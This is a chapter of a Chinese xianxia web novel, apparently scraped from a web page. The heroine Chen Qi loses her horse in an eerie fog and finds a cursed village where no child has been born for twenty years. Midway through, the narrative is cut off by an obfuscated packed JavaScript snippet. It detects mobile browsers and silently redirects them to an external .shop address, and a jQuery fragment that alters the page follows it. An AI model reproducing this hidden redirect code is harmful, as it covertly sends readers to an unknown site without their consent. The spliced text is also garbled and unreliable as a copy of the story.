沉栖皱着眉,有些不敢相信。
为什么仙门会知道大幽西南有鬼诞生?
沉栖一想到自己的性命掌握在别人手里,脊背就有些发怵。
凉风掠过树梢,也轻轻蹭过沉栖糊了层薄汗的额角,头上冰溜一片。
她不知道对方手里是否握有鉴别鬼的法宝或术法,这种未知感如盲人夜行,步步惊心。
她握紧拳头,眼里锋利地看着远山,她渴望变强,她一定要尽快提升自己的实力!
唯有力量,实实在在属于自己的力量,才是她应对任何危机的底气!
沉栖瞥眼看着地上凉透了的尸体,随手一掌化尸掌武功打在尸体上,十几秒的时间里,那具成年男性的身躯便化为一道腥臭的血水。
归融于大地,化作天地的养料。
*
解决完危机后,沉栖来到附近城镇买了顶帷帽遮面,以防再被别人认出。
又买了匹骏马,一刻不停地赶路。
迅疾的风呼啸着穿过帷帽落下的白纱。
沉栖心里始终隐隐不安,之前那个仙门子弟说杀她的是他的师傅,一掌夷平一座小山头,绝非简单的人。
她猜测对方修为至少到达了筑基境后期,甚至早已抵达金丹之境。
沉栖紧紧攥着缰绳,马蹄“沓沓”踩在地上,像密集的号角轰隆在心间。
仿佛有一场恶战刚刚点燃烽烟。
两旁景色飞速后退,沉栖看着天际的暮色,火烧云轰轰烈烈,极其红艳。
落在她眼里,却分外喧嚣张扬。
那越烧越嚣张的火烧云,就像此刻她心里的没有边际的不安与焦躁。
“吁——!”
沉栖一提缰绳,骏马猛地抬起前蹄,重重落在一旁的泥地里。
树叶发出沙沙的阴森声响,马耸了耸鼻子,发出闷闷的声音。
日头西沉,官道两旁的树林光线有些昏暗,林间渐渐生起雾气,越来越浓,就像不含光亮的梦魇般氤氲开来。
沉栖看着突然弥散开来的雾气,又看了看前方两道岔路口。
“这雾……有些诡异。”
越来越浓,压得人有些喘不过气来。
就在沉栖思考该怎么办时,身下的马匹突然像是嗅到了了无法反抗的天敌的气息,四条腿止不住地打着哆嗦。
最后竟是毫无征兆地蜷缩起四肢,瘫在泥地里,止不住地颤抖,嘴里发出轻微而持久的悲鸣。
沉栖见状眯起眼睛,花了二十两银子买的马就这么瘫了?
看来这二十两银子注定是要打水漂了。
沉栖翻身下马,看着骏马湿漉漉的眼睛,她挽唇,伸手轻轻抚摸骏马紧绷的脖颈。
她凑近马的耳朵,也不管对方听没听懂:“马儿呀马儿,你可是我花了二十两买的,虽然这钱是屋螈给的,既然你不能陪我走了,那也得给我好好活着!”
说完,沉栖用力提着骏马红色的脖子,让它站起身,然后把它转过身,重重拍打骏马宽厚的屁股。
“走吧!”
只听见骏马惊啼一声,马蹄声碎,骏马如红色的希望冲进雾里,朝回路奔去。
目送骏马消失在雾里,沉栖心头奇异地感到一阵松弛,仿佛她就是那匹飞逃出去的马。
沉栖缓过神来,转身打量着那两个岔路口,又低头看了眼在雾气弥漫的昏暗环境里依然灼白如月的银镯,心下稍稍安定。
“君要留我在此一观,我且去瞧瞧管你是不是龙潭虎穴。”沉栖看着翻涌的白雾自言自语,顺便慢条斯理地整理了一下衣袖。
仿佛前面诡异的雾气与神秘的岔路,都只不过是纸老虎,吓唬人罢了。
沉栖随手捡起一块石头,往前一扔,就见石头落在偏左的方向。
白雾漫过沉栖的帷帽,她撩了撩白纱,看着左边的岔路口,嘴角扬起一抹笑:“就决定是你了!”
说着便径直抬脚往右边的路口走去。
要是有人在场肯定要问:呃?!石头不是抛到左边了吗?你怎么走右边?
沉栖只会俏皮一笑,显得鬼灵精怪:“姐的心思捉摸不透,不要猜!谁规定我抛到偏左的位置又看着左边岔口说‘就决定是你了’,就一定是走左边了,老娘偏偏喜欢反其道而行!”
沉栖大大方方走在被白雾灌注的道路上,脚踩在地上就仿佛垫着一团云,一点声响也没有。
她听不见风声,也听不见树叶沙沙作响的动静,只听得到自己平稳而亲昵的心跳声。
她并不感到害怕。
也不知道走了多久,雾渐渐稀薄起来。
残余轻薄的雾气下,隐隐约约有点点灯火透射过来。
在视线模糊下像是噬人海妖的猩红眼睛。
沉栖屏住呼吸,又吐出来一口气,朝那“猩红眼睛”走去。
往前走几步,白雾彻底被挡在后面。
前面是朗月疏星下灯火阑珊的村庄。
村庄不大,细数下来也只有十三户灯火。
暖色灯光下,村庄宁静温馨,仿佛世外桃源。
只是没有漫山遍野的桃树,有的是一条环绕村庄的河流,一架通往村庄的石桥,以及河流两侧的田埂。
安静……甚至有点颓萎的死寂。
这是沉栖对它的整体印象。
沉栖踏上石桥,水流睡着了一般,静静的发不出一声。
她随手敲响一旁的亮着窗户的屋子。
“有人吗?”沉栖问。
房子里传来一道平和的老人声:“谁啊!大晚上的不睡觉!”
“啪嗒”一声,柴门从里面打开,更多的光亮漏出来。
一个头发有些花白的老大叔从敞开的门缝里露出一张脸来。
老头混浊的眼睛带着疑惑:“这位小娘子你是……”
老头话还没说完,房间里又有一个老婆婆的声音:“老头子,谁呀?不会又是一个诈尸的吧?”
闻言,老头皱着眉头,脸上褶子印更深了:“呸呸呸!大晚上的,老婆子你说什么鬼呀尸呀的晦气话!人家是一个小娘子!”
“小娘子?谁家的小娘子啊?”老婆婆没管老头的责怪,继续追问。
“唉!”老头叹了口气,“看来又是一个误入迷雾的可怜人。”
还没说上话的沉栖听到两人这番对话,有些云里雾里。
沉栖抿唇亲和地笑道:“大叔,大娘,这是哪里呀?你们刚才说误入迷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17565777|204746||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
雾是?”
老头没第一时间回答沉栖的问题:“小娘子先进来吧,夜里寒气重。”
沉栖没有说话,默默跨过门槛,进入室内。
“坐吧。”
老头引着沉栖在堂屋吃饭桌子边的板凳上坐下。
“小娘子喝水。”
从西面一间屋子里拉开布帘,走出一位老婆婆。
老婆婆来到沉栖前,摆上一碗,手里提着水壶往碗里倒了一碗水。
“谢谢。”沉栖道了声谢,却并没有动那碗水。
人生地不熟的,陌生人给的吃的喝的全都不要入口,即使对方看起来人畜无害。
见沉栖没有喝水,两人也并没有任何不满。
老头也坐下,缓缓开口:“我知道小娘子心中有很多疑惑,且容老朽一一道来。二十年前……”
一番话,沉栖大致了解了目前的处境。
此处名为王家村,二十年前逃难时误入迷雾来到此处便定居下来。
来的时候只有十三户,二十年过去了,也只有十三户,在此间,里面的人出不去,只能在迷雾包围的一河与方圆几里活动。
二十年来,王家村的人在渐渐老去,山间林地多了些坟头,却没有一个新生儿诞生,村里最年轻的人也都五十又二了。
全村十三户人全都在静静地等死,最后一个活着的人是没有人送终的。
听了老头的解释,沉栖挤着眉梢。
目前的情形确实有些棘手,此地诡异,只许进不许出,还剥夺了人的生育繁衍能力。
不是有妖怪作祟,就是有什么天材地宝之类的东西影响了这方天地。
沉栖看着烛泪点滴流落,静静思考着。
老婆婆出声打断沉栖的思量:“小娘子天也不晚了,既来之则安之,有什么事睡一觉再说。要是不嫌弃,我们还有间放杂物的房间有木塌可以休息。”
“打扰了,老人家。”沉栖笑着弯了眉眼。
“不碍事。”
沉栖躺在硬木板床榻上,翻来覆去睡不着。
倒并不是床板太硬而睡不着,而是脑子里思绪混乱。死去修士的师傅,诡谲的迷雾,受到诅咒一般的村庄……
所有压在心头,一枕黄粱怎能如呼吸般通畅?
沉栖搭着腿,看着窗格外被碎开的圆月,撅了撅嘴。
今天是十五吗?月亮怎么这么圆?
沉栖没有多想,可能出门在外太久,日子也有些没个把度,竟然忘记什么时间了。
沉栖笑了笑,也不知道屋螈在干什么,他睡了吗?还是在修炼?
另一头。
竹屋内,屋螈放下毛笔,摇晃蒲扇来到窗子前,仰天而望,淡紫的天幕一轮弦月纤瘦地依靠着浅薄的飞云。
烛台下,一豆灯光明晃晃地照在素白的宣纸上。
白纸黑字晕染上熏黄的光迹,字迹清峻险绝。
宣云之树,碧桃之水。
竹叶无关,方玉忽至。
维尔踽行,两误情长。
*
子时。
火把的灯火照彻窗棂,人影凌乱。
床榻上的沉栖缓缓睁开眼。
这是怎么了?